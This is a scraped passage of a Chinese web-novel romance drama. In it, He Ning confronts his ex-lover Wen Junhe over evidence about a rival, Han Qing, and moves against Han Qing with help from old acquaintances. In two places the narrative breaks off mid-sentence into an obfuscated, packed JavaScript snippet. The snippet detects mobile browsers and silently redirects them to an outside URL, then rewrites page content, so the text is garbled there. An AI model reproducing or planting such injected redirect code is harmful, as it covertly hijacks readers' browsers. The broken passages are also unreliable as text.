贺宁盯着闻君鹤疲惫的脸,像是很久都没休息好,对方眼下泛着淡淡的青黑,这跟他记忆里那个永远一丝不苟的闻君鹤判若两人。 “先吃饭好吗?”闻君鹤的声音有些哑,带着请求的语气,“我一天没吃东西了。” 主菜一道道上桌,都是贺宁喜欢吃的,香煎鳕鱼配柠檬汁,烤芦笋去掉了根部,甚至甜点都是他最喜欢的熔岩蛋糕,所有他过敏的食材一样都没出现。 红酒在醒酒器里打着旋,店员小姐将餐食摆在餐桌中央。 还有蜡烛,贺宁甚至觉得这场景莫名熟悉起来,像他们从前在一起过纪念日。不过现在角色对调了,闻君鹤坐在对面,目光灼灼地看着他,而冷漠的那个人变成了他。 贺宁记得以前过纪念日时,他总会提前订餐厅,亲自挑选菜单,闻君鹤每次都是匆匆赶来。 闻君鹤伸手想给他倒酒,贺宁直接把酒杯扣在了桌布上,他没有一点胃口。 “我不能和你久待,免得出现在什么奇奇怪怪的新闻上,你最好说明你的来意,给我那些东西究竟是什么意思?” 脱离了某些束缚的贺宁重新恢复了他带着尖刺的那部分。 他散漫地长大,自由地生活,从不怠慢自己,也不宽容他人。 在网上搜索那天婚礼的相关新闻时,依稀可以见到媒体上出现的隐晦的,关于那天戏剧般的花边爆料。 周牟富敲打了贺宁说既然结婚了,以后要看清自己的位置。 贺宁当然清楚,他拉着周纪的胳膊,乖巧礼貌地说知道的,爸爸。 周崇靠在一旁盯着正在和周纪说话的贺宁,眼神阴得能滴出水来。 他被关了一天一夜,等周崇终于被放出来,婚礼结束了。 贺宁抬头瞥了见周崇的眼神,正好对上他的视线,嘴角一勾,故意往周纪身上靠了靠,然后把手指上的戒指露出来,把他气得要死。 周纪结婚了,周牟富说他们可以随时搬到市中心那套公寓。 周纪就看着闻君鹤吃饭。 闻君鹤像是真的饿了,一点点往嘴里塞着食物。 等到他终于吃完,闻君鹤垂着眼,缓缓开口道:“我查过了,你当初那场麻醉事故并不是意外,是韩卿做的,我想你有权知道。” 贺宁当然看过那些文件,照片上的医疗记录,一页页翻过去,他从不可置信到愤怒,后背渗出一层冷汗,不然他不会来这一趟。 韩卿。 这个名字像根刺一样扎在他记忆里,总是阴魂不散的家伙。 贺宁甚至记得韩卿每次嘲笑他的时候,镜片后那双带着讥笑的眼睛。但他从没想过,那些小打小闹的恶意,有一天会变成要他命的杀意。 可更令贺宁诧异地是闻君鹤居然能把这些给他。 贺宁的嘴角扯出一个冷笑:“你怎么舍得把这些给我,你跟韩卿不是那么好吗?明知道我看到这些一定会弄死他。” 闻君鹤手指在桌面上无意识地收拢又松开说:“宁宁,对不起,我五年前不该走的,不该让你一个人面对所有。” 贺宁的表情凝固了一瞬,随即突然笑出声来。他笑得肩膀直抖,手指按在桌沿上,指节都泛了白。那笑声在安静的餐厅里显得格外刺耳,连隔壁桌的客人都忍不住转头看过来。 “你居然还会跟我道歉?”贺宁抹了抹眼角,“闻君鹤,你居然会跟我道歉?” 闻君鹤的嘴唇动了动,那声“宁宁”叫得又轻又软,这个称呼,在他们最亲密的时候,闻君鹤都吝啬于叫出口。现在倒好,在他跟别人婚礼都办完了之后,这人倒想起来要深情了。 贺宁收了表情,冷冷开口:“别这样叫我。” 贺宁突然觉得没意思。他以前想破脑袋也猜不透闻君鹤的心思,现在更懒得猜了。 “道歉就算了,当年是我硬缠着你的,现在你把那份东西交给我,我这些年也不算完全是个笑话。” 贺宁已经不是十八岁,他早就明白,不是所有东西付出就能唾手可得,爱与不爱注定有偏颇,就算再不甘心也无济于事。 他等啊等,终于在心彻底冷掉之后,等到一次闻君鹤站在了他身边。 真是可笑。 “我是不会心软的,回去让韩卿请好律师吧。” 贺宁半起身的时候,闻君鹤突然身体往前伸握住了他的右手,好像慢了一刻贺宁就会消失在他面前。 贺宁俯视着闻君鹤,他看着闻君鹤的目光落在自己的手上,他抬了起来摸着那枚戒指,问闻君鹤:“我的戒指好看吗?” 那枚戒指的造型简单,不过一看便很贵重。 闻君鹤苦涩地说好看,想起了前不久的那一场宴请八方的婚礼,贺宁特意打扮过,他很适合那样的场合,高贵得好像王子,他们那场婚礼,并没有给贺宁好的体验。 事后贺宁甚至观察过他的神色小心地生闷气。 闻君鹤简直来不敢回想他都对贺宁做过什么。 “我跟韩卿已经不是朋友了。” 贺宁眉头微微皱起来:“怎么了,是因为我吗?那我该对你说谢谢吗?因为我,你放弃了韩卿是吗?” “不是,我跟他一直没什么,他骗了我,你重要得多,一直都是。” 闻君鹤像是很不熟练似地说着这种话,想了想,又看着贺宁,期待得到什么反应。 贺宁张了张嘴,眼中有些悲哀但更多是觉得荒谬:“……你现在说的如果是我我过去听到应该开心,但现在未免有些太迟了。你觉得现在对我说这样合适吗?” 闻君鹤痛苦道:“……对不起,我不知道,我真的不知道。” 他该恨谁,明明最该恨的就是自己。 是他亲手把自己的爱人推得越来越远的。 他再不甘心被甩,哪怕多问一句贺宁,不高高在上地摆着姿态,也不会到把事情拖到现在这个地步。 闻君鹤永远挺直脊背,他以为贺宁会永远从身后抱上他,像以前一样贴近。 可现在贺宁已经不渴求他笔直的背为他弯下哪怕一点点距离。 他对贺宁的偏见从一开始就根深蒂固了,哪怕他嘴上再抗拒,可是心早就先一步动了,只是闻君鹤一直羞于承认。 “我看见了你扔掉的那个纸箱,对不起……我知道晚了,我不知道你当时很痛苦,我不知道你生病了,对不起……” 贺宁表情有些讶异,他曾经以为这一天他会委屈地在闻君鹤怀里大哭一场,告诉他自己一个人真的坚持了很久。 可他却很冷静,很轻地“嗯”了一声,然后告诉闻君鹤:“不用可怜我,那时候我们已经分手了,所以跟你没关系,不用往自己身上揽。” 曾经贺宁很多次撑不住的时候,他生起过很多次去找闻君鹤的念头。 现在想起来,幸好,他没去。 “我得感谢自己,如果不是跟你分手了,我不会遇到阿纪,或许我们早就应该分开了,对我们彼此都好。” 闻君鹤如鲠在喉,可他什么话都说不出来。 贺宁看着闻君鹤失态的样子,突然道:“我的东西被你收起来了吗?” “……对。” “还给我。” 贺宁去闻君鹤家拿回他的东西。 他不想把那些矫情的东西留在闻君鹤这里,特别是现在闻君鹤追悔莫及的表情,他觉得实在太讽刺了。 他们一路上都很沉默,闻君鹤以前不说话的时候居多,就是贺宁一个人的独角戏,他会聊很多,即使大多数都是闻君鹤不敢兴趣的话题。 直到贺宁也变得毫无波澜,闻君鹤才知道什么是真正的压抑。 闻君鹤打开房门,贺宁看见他拿出了拖鞋放在他面前。 闻君鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900384|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他要喝水吗? 贺宁说他只想早点拿完东西回去,闻君鹤说等一下,就去书房拿东西,贺宁站在那里就看到了敞开的卧室门,他想起婚礼那天闻君鹤说他把房间都收拾好了。 贺宁忍不住进去,看见空出来一半的衣柜。 等闻君鹤抱着箱子出来,贺宁拿过来摆在地上清点东西,最后他抬起头:“还差一样东西。” 贺宁从闻君鹤手里接过了那枚戒指,闻君鹤拿出来的时候还有些不情愿。 这枚戒指,是贺宁亲自挑选的,是为了铭记他第一次刻骨铭心的爱情,承载着他十几岁最真诚的心动。 二十岁那年他挑的款式,内圈刻着他和闻君鹤名字的缩写。当时店员问他是不是要送人,他红着耳朵点头,说想送给很重要的人。现在想来真是天真得可笑,他以为只要够真心就能换来真心,以为这枚戒指能锁住闻君鹤一辈子。 闻君鹤看着贺宁低头露出的那一抹怀念的神情,胸口突然像被猛然烫了一下。他猛地伸手将人拽进怀里,手臂勒得贺宁后背。 贺宁身上的淡香混着发丝间的洗发水味道涌进鼻腔,闻君鹤把脸埋在他颈窝里胡乱蹭着,呼吸又急又重。 “宁宁……别离开我好不好。” 闻君鹤的嘴唇擦过贺宁耳垂,声音哑得不成调。他感觉到怀里的人瞬间绷紧了身体,却固执地不肯松手,反而抱得更紧。 吻胡乱落在贺宁额头、眼角,最后贴在颤抖的唇上,尝到一点咸涩的味道,不知道是谁的眼泪。 “别走,我真的错了,我过去对你不好,以后我会好好对你,我不能没有你,我们结婚好不好,以后会住在一起,不分开。”闻君鹤的声音抖得厉害,死死抱着贺宁,像是抓住最后的救命稻草。 闻君鹤从来没这么狼狈过,语无伦次地道歉,保证,连当年贺宁追他时说的那些肉麻话都翻出来重复。 贺宁的沉默让他心慌,闻君鹤只能一遍遍叫着那个曾经不屑于喊的昵称,仿佛这样就能把人留住。 贺宁起初挣了两下,肩膀扣得生疼。他皱着眉抬头,正对上闻君鹤通红的眼眶,挣扎的力道突然就泄了。 闻君鹤感觉到怀里的人卸了力气,心脏猛地跳得更快,手指发着颤捧起贺宁的脸。 唇上传来温软的触感时,闻君鹤呼吸都窒了一瞬。 贺宁没躲,也没回应,就这么任他贴着。 闻君鹤吻得很急,牙齿不小心磕到贺宁的下唇,尝到一点血腥味也没停下。他的手还抖得厉害,从贺宁的后颈摸到脊背,像在确认这个人是真实存在的。 闻君鹤贴着他唇角喘气,鼻尖蹭到一片湿凉,原来是他的眼泪。贺宁始终没推开他,但也没像以前那样主动环住他的脖子。 这种沉默的纵容比拒绝还让人心慌,闻君鹤又收紧手臂,把人往怀里按得更深了些。 以前就算他们就算做也不会经常接吻。 贺宁以前偏头想要讨到一个亲吻也得不到。 原来事实证明亲吻的确会暴露出情绪,贺宁能清晰地感受到闻君鹤的吻里带着的慌乱,明显的讨好和祈求。 贺宁垂着眼没动,任由闻君鹤近乎卑微地在他唇齿间索取那点温度。 贺宁被亲得站不稳,只能伸手扶住闻君鹤的腰,直到闻君鹤停下来了,他踮起脚把将唇靠近闻君鹤的耳垂处呼气,张了张嘴一字一句道:“闻君鹤,和我在一起,你硬//得起来吗?” 说罢又说出了一个德国药名。 正是韩卿给闻君鹤的药。 贺宁的头转过来时,闻君鹤和他冷漠平淡的眼神对上,刚才心中燃死的热火和希望瞬间像被一盆凉透的冷水浇灭,他呆呆怔住在原地,整个人如遭雷劈。 贺宁慢条斯理地整理着被扯乱的衣领,指尖抚平衬衫每一道褶皱。 他弯腰抱起纸箱时,闻君鹤甚至能听见自己心脏裂开的声音。 “这些都是垃圾,不要再捡回来了,还有,”贺宁在关门时顿了顿,“你的技//术真的很差。” 等闻君鹤终于能够挪动着身体脚步走到窗边,他看见贺宁把那个箱子扔进了垃圾桶,而后头也不回地往前,走了一段,突然想起什么举起手往后摆了摆,背影潇洒得像是在告别什么无关紧要的东西。 16. 我还有个关于韩卿的秘密 自从那天和闻君鹤见面后,贺宁总算过了几天清净日子。 周纪正式进入周氏集团总部,从部门经理的位置做起,每天早出晚归,西装革履地出门。 周家这次举办的商会排场很大,几乎邀请了本市所有有头有脸的人物。 水晶吊灯下觥筹交错,贺宁端着香槟站在角落,看着周纪周旋在各路商贾政要之间,游刃有余的样子和平时判若两人。 家里最近不太平。 周崇天天闹脾气,摔东西的声音隔着房门都能听见。 每次贺宁一提要搬去新房,那动静就更大,像是要把整栋别墅都拆了似的。 周纪被吵得头疼,这次才带贺宁出来散散心。 周纪开始上班,这是周牟富想看到的。周崇的病也好了,眼神阴恻恻地扫过贺宁,跟着周纪的车去了公司。 贺宁早就看透了周崇那点把戏。周家人紧张兮兮地围着这个病秧子转,反倒把他惯得无法无天。周崇整天不是飙车就是蹦极,活像条找死的疯狗,大概觉得反正自己不是亲生的,死了也没人心疼。 “真想死啊?”贺宁有天在楼梯口堵住他,笑得特别甜,“那你去死啊,死了正好清净,没人打扰我和你哥恩爱到老。” 周崇录下了音,转头就跑去跟周纪告状。他举着手机声嘶力竭地控诉,说贺宁巴不得他死,他就是个恶毒的人。 周纪正在看文件,头都没抬:“我觉得贺宁说得对,你不爱惜自己的命,别人有什么办法,正好周家得个清净。“ 周崇突然就哑火了。他盯着周纪看了半天,最后摔门走了。 周崇不再寻死觅活后,看贺宁的眼神反而更阴沉了。 “你在我爸妈面前装模作样,少在我面前装,只要我还在周家喘气,你就别想在这儿称王称霸。” 贺宁突然笑了,伸手拍了拍周崇的脸颊,动作轻佻得像在逗狗:“那你可得长命百岁啊,不然我可能不会让你进周家祖坟。” 贺宁开始处理韩卿这件事,他绝对不会放过他,周纪下班听说这事,也很气愤。他给贺宁找了好几个律师。 贺宁刚抿了一口鸡尾酒,就听见身后有人喊他。 转身看见孟轩穿着件花里胡哨的衬衫走过来,领口大敞着,露出线条分明的锁骨。 这人从小到大都这德行,明明长着张不错的脸,偏要穿得跟只花孔雀似的,身上那股邪气很不让人喜欢, 孟轩手指间夹着杯威士忌,冰块叮当响。 他凑近时,贺宁能闻到他身上那股子香水味,甜腻得让人皱眉。 “听说你把韩卿告了?”孟轩笑得眼睛弯起来,却遮不住眼底那点算计。 贺宁盯着他看了几秒,突然仰头把酒灌完。玻璃杯重重搁在台上,发出清脆的声响。 “你该庆幸我没连你一起收拾。” 孟轩也不恼,反而又往前凑了半步。 灯光照在他耳钉上,反射出刺眼的光:“这么凶啊?我还以为你会谢谢我,要不是我当年把病历藏起来,你以为闻君鹤能那么容易收集到一部分证据。” 贺宁盯着孟轩那张带着无奈的脸:“你早就知道?” 孟轩耸了耸肩,他晃着酒杯:“我当时也喝蒙了。” 他的眼神忽而飘远,像是在回忆那天的场景:“是韩卿突然提起你的,说闻君鹤走了,要不要叫你出来玩玩。” 贺宁记得那天推开门就看见一屋子醉醺醺的人。孟轩衬衫扣子解到胸口,手里还夹着根烟。 “只是没想到他这么大胆,我跟你道歉,你看我后来被你砸了,后来不是都没出现在你面前了吗?” 孟轩倒真没说谎,当时在场的人抽烟喝酒玩人,几乎没怎么想起贺宁,是韩卿不知道怎么提起贺宁,说起闻君鹤出国了。 孟轩当时酒精上头,生生看着有人把他叫了出来。 出了事,孟轩在贺宁手术后去看过他一次。 贺宁在病房后刚醒,整个人苍白无力,脖颈和锁骨的皮肤细腻,浑身充满病弱感,阳光正好,温暖光线洒落在他的身上,身上少了以前那些嚣张跋扈的东西,出神地窗口,不知在想什么。 孟轩来到床边,放下手里的花,摸了摸鼻子问他好些了吗? 贺宁当时不作声,他那时很瘦,医院的病号服穿在他身上都显得空荡,下巴尖尖,显得眼睛更大了,更可怜,额前的碎发被照得像投下一片金色的碎影。 孟轩起初还充满诚意地说后续治疗他一定会负责,说着说着思维又不知又跳到哪里去,他忽然烦躁地开口道:“你在闻君鹤面前那副温顺小绵羊的模样真让人受不了。” 孟轩想起贺宁被闻君鹤牵制的那段日子,胸口就窜起一股无名火。 他烦躁地掏出烟盒,完全不顾对面贺宁还带着伤,“啪”地按响打火机。 他们认识太久了。 从小学起,孟轩就跟在贺宁屁股后面转,活像条护主的恶犬。 教导主任办公室里,孟轩翘着二郎腿挨训的样子贺宁见过太多次,校服松松垮垮地挂着,脸上还带着打架留下的淤青。 每次被问是不是贺宁指使的,孟轩都咧着嘴笑:“看他不爽就打了,关贺宁什么事?” 贺宁初中的时候,有高年级的找他麻烦,孟轩抄起板凳就砸,那狠劲儿把老师都吓住了。 孟轩倚在窗边,阳光被他挡去大半,他歪着头看贺宁,嘴角挂着玩味的笑:“我上次的提议可是认真的,你喜欢闻君鹤那种端着的正人君子,可他对你多狠啊。” 他往前走了两步,皮鞋踩在地板上发出轻微的声响。 “除了我,谁还能养得起你?你要是累死累活那点工资,连你一件外套都买不起。”他俯身凑近病床,呼吸几乎喷在贺宁脸上,“你过不了那种日子的。” 等孟轩站直,贺宁突然抓起床头的水杯砸过去。 血珠顺着孟轩的太阳穴滑下来,滴在衬衫领口,孟轩摸了摸伤口,指尖沾上血色,却笑得更加灿烂,仿佛早就预料到这一出。 贺宁撑着身体,病号服微微下滑,肩头细瘦,孟轩眼中的粗暴因子一瞬聚集,很快又收敛殆尽,露出个无所谓的笑:“病了下手也挺重的。” 贺宁在闻君鹤面前窝囊,可他并不怕孟轩。 “要我跟你同归于尽吗?” 孟轩看着他,毫无退缩之意,反而靠近他的脸,掐住贺宁温软的下巴:“总有一天你会明白,爱情会伤你,友情才更无价。” “滚。” 那之后孟轩就再没出现过贺宁面前。 反倒是贺宁结婚了,贺宁最近总能在各种场合遇见孟轩。那人穿着骚包的印花衬衫,倚着冲他举杯,笑容里带着说不清的意味。 今天孟轩又不知从哪冒出来,视线直接钉在他左手无名指上,盯得戒指都要烧出个洞来。 “你喜欢周纪吗?”孟轩突然发问。 贺宁转身就要走,却被一把拽住手腕。 孟轩的掌心烫得吓人,声音却冷了下来:“你看他的眼神,跟看闻君鹤的时候完全不一样,你根本就不爱他。” 贺宁猛地甩开他的手,心想这疯子怎么比以前更难缠了。 孟轩却不依不饶地追上来:“我能当你的证人,可以帮你搞死韩卿杂碎那种,周家不会帮你下死手,但我可以。” 孟轩还在笑,那种势在必得的笑,好像吃准了他会答应。 贺宁突然想起小时候,这人也总是这样,明明被打得鼻青脸肿,还要咧着嘴冲他笑。 贺宁懒洋洋地陷进沙发里:“你为什么帮我?” 孟轩没急着坐下,反而像个幼稚的孩子求和一般。歪着头笑:“看你终于不犯傻了,我高兴啊。所以决定不跟你绝交了。” 他忽然俯身凑近贺宁缓缓开口道:“我还有个关于韩卿的秘密……” 孟轩的呼吸喷在耳畔,话还没说完就被人猛地拽开。他踉跄着撞上旁边的大理石柱,手肘磕出一声闷响。 他抬头正对上闻君鹤阴沉的脸,孟轩揉了揉胳膊,突然笑出声:“哈,是你啊。” 闻君鹤身上穿的是刻板简单的黑色西装三件套,冷厉肃杀,一丝不苟,一点不漏,甚至严格到领口最上面一粒纽扣都要系牢,露出形状好看的下巴。 明明如此老气的穿搭,配上他那张脸,硬是被他生生穿出十足的禁欲感。 闻君鹤并不爱打扮自己,私下也更偏爱运动服和休闲服,但就是那张脸曾经就把贺宁迷到不行。 “孟总,请自重。” 闻君鹤说完,孟轩像是听见了什么笑话,他看了看贺宁,动了动刚才被撞得酸软的手臂:“贺宁,他叫我自重,好不好笑,不知道的还以为跟你结婚的是他呢。” 这话让闻君鹤皱了皱眉。 下一秒孟轩便挑衅般坐在了贺宁身边,像是以前哥俩好似的搭上他的肩膀。 闻君鹤拳头攥紧,贺宁脸上没有任何多余的情绪,也没有推开孟轩,他注视着闻君鹤,是坐着的,跷着二郎腿露出细长有骨感的脚踝。 贺宁那双眼一直都很漂亮,从前看着他的时候,跳跃的的情意让人移不开眼,而如今什么都没有。 “我们当然真结过的啊,不过那场婚礼并不算数罢了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900385|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻君鹤心脏忽而一颤,好像空气都被从胸腔摘走了,窒息感充斥整个身体。 最后贺宁离开的时候,孟轩朝闻君鹤做了个鬼脸。 直到走到无人的地方,贺宁挣开孟轩,挥开他的手:“有事快说,别在我面前卖关子。” 孟轩看见闻君鹤不痛快,多年堵在心上的那口恶气他出了。 “贺宁,我真开心你又变正常了。” 说罢孟轩又搭上了贺宁的肩膀,这次放低了声音:“我告诉你,韩卿上高中的时候就被一个大人物包过。” 贺宁横了孟轩一眼,他咧嘴笑,笑起来有一股子邪性:“别不信,我亲眼看到的过。” “有一次我跟人翻墙出去上网,看见韩卿上了一辆车,车窗没关严,里头两人都快贴一块儿了,当时我留心多看了一眼,后来他从车上下来的时候走都走不利索。” “后来我想让我爸查那车牌,被我爸狠狠骂了一顿,如今韩家不同往日,更没有人去触他晦气。” 贺宁狐疑地看他一眼。 孟轩说:“他那么在乎羽毛的一个人,这绝对是他的痛点,我够诚意吧。” 而后孟轩说了个车牌号。 贺宁沉默了一瞬,神色很快变得难看得不是一点,他推开了孟轩:“离我远点。” 周家晚饭的时候,周纪又在餐桌上提议要搬出去住,周崇把叉子摔地上,饭不吃了,庞娆示意身边的佣人重新摆一双放在周崇面前,笑着道:“在家多热闹,为什么要搬出去呢?” 周牟富喝了一口汤,点头说彤湾有套房子,他们可以去那。 周崇作势又要发疯,被周纪一个眼神一扫,低头吃着疏菜和牛肉。 贺宁看着周崇,觉得全家都把他当神经病,离真正的神经病也就是时间问题罢了,再这么惯下去,迟早要养出个真疯子。 他们要搬出去的契机,是周崇翻他们的垃圾桶,有一天贺宁刚要回房,周崇就靠在房门前看着他道:“你跟我哥没上过床吧,我们上过。” 两人杵在房前对峙了几分钟,贺宁突然笑起来,露出尖尖的虎牙说我们上过。 第二天周崇又翻垃圾桶,发现了用过的避孕//套,跟魔怔了一般跑去跟周纪胡言乱语。 周纪终于彻底失去耐心:“周崇,适可而止。” 周崇的病来得突然,高烧不退,半夜送进了急诊室。周纪守了一整晚,第二天眼底布满血丝,却还是对贺宁说了句“再等等”。 贺宁看着病床上脸色苍白的周崇,心想周纪这心软得简直没边了。 真是各有各的孽障。 作为补偿,周纪把名下一个基金会交给了贺宁,贺宁只当这是个不错的消遣。 基金会的第一次饭局就碰上了闻君鹤。 那人坐在包厢角落,西装革履,却一杯接一杯地闷头喝酒。 贺宁去洗手间时,刚握住门把手就听见外面传来熟悉的声音,是酒桌上那两个一直对他献殷勤的人,正压低嗓子说着什么,还说着“闻总”。 “之前还疑惑周大少怎么跟个男人结婚,那小婊子长得真不赖。” “贺闳兴的儿子也沦落到卖屁股的地步,谁不能说一句天道好轮回,不过也算卖了个好价钱。” 贺宁又听见他们嘴里不干不净地说了几句,发出猥琐的笑声。 贺宁就听见“砰”的一声闷响。 闻君鹤的皮鞋狠狠踹在其中一人肚子上,那人撞在墙上滑下来,眼镜都飞了出去。闻君鹤的西装绷在肩膀上,能看出底下肌肉的轮廓,额角青筋暴起,连呼吸都带着狠劲。 旁边的人完全被吓到了,刚想开口制止,闻君鹤却连他一起没放过,“嘭”的门被反锁。 贺宁站在隔间里,听着外面拳拳到肉的闷响和逐渐微弱的求饶声。 水龙头被拧开时,他才回过神。 透过门缝,闻君鹤正慢条斯理地冲洗着手上的血迹,西装只是稍微皱了点,连领带都没歪。地上躺着两个人,一个捂着肚子抽搐,另一个满脸是血。 水声停了。 闻君鹤抽了张纸巾擦手,而后扔下一张卡说是药费:“想去鉴伤我随时奉陪,下次嘴巴放干净点。” 转身时还是那副精英做派,好像刚才暴起伤人的不是他。 贺宁从来不知道闻君鹤会打架,更没见过这人发狠的样子,任他怎样都无法将刚才暴戾的男人与平里与人为善的闻君鹤联系到一起。 闻君鹤经过他所在的隔间时,贺宁刚好推门出来。 闻君鹤看见贺宁,那一瞬间眼中逼仄的暗光褪去,喊了一声:“宁宁……” 17. 闻君鹤,和我在一起是要做爱的 贺宁站在原地没动,看着闻君鹤深吸一口气朝他走来。他皱了皱眉,往后退了几步,转身就走,一个字都没留。 闻君鹤僵在原地,脸色难看得很,像是被人当头打了一棒。 周纪给贺宁安排了个轻松活,跟着专业经理人出席些慈善活动,偶尔代表周家露个脸。这工作清闲体面,要不是得记那么多复杂的人际关系,贺宁觉得简直完美。 他端着香槟站在角落,看着那些虚与委蛇的寒暄,偶尔会突然想起闻君鹤失魂落魄的表情。 但是很少。 周崇上次发病闹得厉害,庞娆心疼他,硬是没送疗养院,留在家里亲自照顾。贺宁看周崇那副被惯坏的样子,随口说了句“还是在家好,外人照顾哪比得上亲人”,把庞娆感动得不行,连周牟富都夸他懂事。 其实贺宁心里门儿清,周家人对周崇的疼爱是刻在骨子里的,就算周纪嘴上再硬,也不可能真对周崇下狠手,他只是害怕越过兄弟那条线,就再也回不去了。 有时候贺宁还挺羡慕周崇的。 周崇跟周纪那些弯弯绕绕的纠葛贺宁也不想去琢磨,但周崇对他莫名其妙的敌意倒是显而易见。 但贺宁又不是任人揉搓,周崇每次找茬,他都能四两拨千斤地怼回去。连周纪都感叹,能治住周崇的只有贺宁。贺宁知识说:“你们只是对他心太软。” 贺宁踩着缎面拖鞋下楼,鞋底拍在大理石台阶上发出清脆的声响。周崇瘫在客厅沙发里,听见动静嫌恶地瞪了他一眼,又重重躺回去,像条没骨头的蛇。 贺宁倒了杯酒,走到沙发边居高临下地看着他:“今天怎么不翻垃圾桶了?” 声音里带着明显的调侃。 周崇闭眼冷笑:“你以为我还会上你的当?” 贺宁突然弯腰从沙发垫下摸出个烟盒:“来一根?” 里面稀稀拉拉躺着几根皱巴巴的烟,一看就是偷偷攒的。周崇猛地弹起来,气得脸都红了:“贺宁你他妈——!” 话没说完就剧烈咳嗽起来,贺宁晃了晃烟盒,笑得像个恶作剧得逞的孩子。 贺宁抽出一根,然后把烟盒扔在了周崇身上,闻言点燃了含在嘴里,过了一会儿,他靠近了周崇少许,不过也没有离得很近,像看一个奄奄一息的病人一般,感叹道:“你这些手段,我十八岁就玩过了,不,我比你更狠,你还一直保持自我,我把一个男人困在我身边五年,心都捧给他任他肆意践踏,几乎付出了所有,把自己活生生逼成了另外一个人,温顺的,乖巧的,他可能会喜欢的。” 说罢,贺宁又喃喃了一句,眼中露出一抹迷茫:“快不太记得那些傻逼事了。” “可你猜,我得到了什么。” 周崇看着他简短地问:“什么?” 贺宁抽掉了最后一口烟:“……嗯,灵魂乃至身体全方位的侮辱。” 周崇:“……你这么讨厌,谁会喜欢你。” 贺宁呵呵一笑,听不出什么情绪:“我早就认识到这点了,所以决定不再为任何人改变,不喜欢你的人,即使你折腾翻了天他也不会喜欢你。” 周崇不服气地道:“你凭什么说我哥不喜欢我。” 贺宁看着周崇:“你喜欢你哥吗?” 周崇点头:“你怎么会懂我和我哥的事。” “我不懂,我只知道你如果非要强求,你可能会失去的是你哥和你爸妈,其实我看出了,你没那么想要周氏不是吗?你只是想逼一把周纪面对你是吗?可周纪宁愿逃出去几年,也不想跟你起冲突。” 周崇看着贺宁,突然露出一个笑:“你比我哥看得明白,可我真不明白,又不是亲生的,为什么不能在一起?他还是更在乎世俗的眼光。” 当局者迷,旁观者清。 一层脆弱的情侣关系怎么可能比得过亲情的羁绊,一个把明天把最后一天过的人自然不会考虑到以后,可是周纪要考虑他爸妈,他们的未来。 周纪就是看得太清楚了,所以才不能和周崇在一起。 “你该庆幸你哥跟我结了婚,你以为换一个人能忍受你这些手段吗?” “如果我是女人,我做的第一件事只是替你哥生下孩子然后劝他离开,现在大家相安无事,你少用你那些不入流的伎俩对付我,我会劝阿纪留在家里,你也可以多见见他。” 周崇磨了磨牙,最终什么都没说。 周纪重新接手公司后忙得脚不沾地,市场的拓展计划一步步在推进。周牟富开始有意放权,重要会议都让周纪主持,自己只是坐在一旁听着。贺宁看着周纪每天早出晚归,西装革履地出门, 某个周五的傍晚,贺宁独自开车去了城北的老旧小区。他脱下外套,只穿了件简单的衬衫,拿着手机走进昏暗的楼道。 墙皮有些剥落,空气中飘着饭菜的味道。 敲门声在安静的走廊里格外清晰。里面沉默了一会儿,才传来一个低沉的男声:“谁?” “绍叔,是我。”贺宁的声音放得很轻。 门开了条缝。 伏绍站在阴影里,身形依旧挺拔如松。这个跟着贺闳兴二十多年的男人,是贺家最隐秘的一道防线。当年贺闳兴身居高位时,明枪暗箭数不胜数,连贺宁都被绑架过两次。 每次都是伏绍带着人,悄无声息地把他救回来。 伏绍就像贺宁的影子,从小学到大学,始终在暗处护着他周全。贺闳兴入狱那会儿,多少人想趁机报复,伏绍能抽身而退,全靠这些年一直跟在贺宁身边,没参与贺家的那些脏事。 贺宁每隔几个月就会收到伏绍的新地址,今天这个老旧小区的地址,是上周刚收到的。 门开了一条缝。伏绍站在阴影里。他打量了贺宁几秒,侧身让出条路::进来吧。” 客厅里就一张木桌两把椅子。伏绍倒了杯温水推给贺宁。他坐下时腰板挺得笔直,像把出鞘的刀:“听说你结婚了,告诉你爸了吗?” 贺宁的手指在玻璃杯沿轻轻摩挲,这婚事就是个形式,说不说都一样,他抬起眼:“绍叔,我想查个人。” “谁?” “韩卿,闻君鹤回来了,他查到我那次手术事故,是韩卿做的手脚。” 伏绍的表情突然变了:“他敢这么对你?” 当贺宁提到要查韩卿高中时的事,伏绍的眉头几不可察地皱了一下:“查这个干什么?” “坐牢太便宜他了。”贺宁冷笑一声,“韩家有的是办法把他捞出来,他那副假清高的样子,我看了就恶心,最好身败名裂再也翻不了身。” 伏绍点头应下,说查到消息会联系他,让他别再亲自过来。 “宁宁,”他的声音难得温和,“你好好过日子就行,那些伤你的人,一个都跑不了。” 贺宁临走时跟伏绍抱了抱,嘴角挂着笑:“知道了。” 他转身下楼,脚步声在空荡的楼道里回响。 刚拐出单元门,贺宁就看见了闻君鹤。 那人斜靠在楼梯口的墙边,指间夹着根烟,烟灰积了老长一截也没弹。夕阳从侧面打过来,把他轮廓描得格外清晰,高挺的鼻梁,微抿的嘴唇,还有垂着的睫毛在脸上投下一小片阴影。 闻君鹤整个人沐浴在橙红色的光里,明明该是温暖的画面,却莫名透着一股颓废。烟快烧到手指了,他也浑然不觉,只是盯着出口发呆,直到贺宁的脚步声惊醒了他。 大概闻君鹤也没料到他能这么快下来,一时整个人都愣在原地。 贺宁从他身边而过,闻君鹤下意识拉住他:“贺宁……” 